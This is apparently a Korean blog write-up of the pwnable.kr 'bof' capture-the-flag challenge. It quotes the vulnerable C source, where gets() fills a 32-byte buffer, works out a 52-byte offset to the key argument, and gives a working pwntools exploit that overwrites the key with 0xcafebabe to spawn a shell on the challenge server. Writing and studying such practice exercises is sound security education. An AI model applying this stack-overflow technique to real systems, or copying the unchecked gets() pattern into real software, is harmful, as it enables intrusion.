Pwnable/Pwnable.kr

[Pwnable.kr] bof 문제 풀이!![재업로드]

RootJJang 2022. 7. 7. 09:03
SMALL

나나가 버퍼 오버플로우는 가장 흔한 소프트웨어 취약점 중 하나라고 말했어여 진쫠까?

 

bof bof bof.... Buffer OverFlow 포너블에서 모르면 안 되는 요소 중 하나죠

 

그것에 관련된 문제 같습니다 함 풀어보죵

 

nc 서버로 접속을 해봅시다

 

엄 원래 overflow me : 후에 입력창이 떠야 하는데 입력창이 먼저 뜨네요 딱히 문제는 없겠죠?

 

이제 파일들을 다운로드받아 분석해봅시당

 

소스 코드를 확인해보죠

 

┌──(kali㉿kali)-[~/다운로드]
└─$ cat bof.c 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

꽤나 간단한 코드네요

 

입력값 overflowme를 bof 시켜서 key값을 덮어씌워 0xcafebabe와 같게 하면 되겠네요

 

그럼 overflowme와 key 사이의 거리를 구해봅시다

 

두 번째 함수가 호출되기 전 ebp-0x2c에서 값을 불러오는데 그게 overflowme이고

 

cmp 부분을 보면 0xcafebabe와 ebp+0x8를 가리키는 값과 비교를 하는데 key 값이 위치한 곳이라고 알 수 있슴다

 

둘 사이의 거리는 0x8 - (-0x2c) = 0x34 -> 52(10)입니당

 

이제 더미값으로 52만큼 채우고 조건문을 만족시켜 쉘을 따내 봅시당

 

from pwn import *

p = remote("pwnable.kr", 9000)

pay = b"A"*52

pay += p32(0xcafebabe)

p.sendline(pay)

p.interactive()

익스 코드는 이렇슴다

 

daddy, I just pwned a buFFer :)

아뽜, 나 버퍼 해킹했어!

 

LIST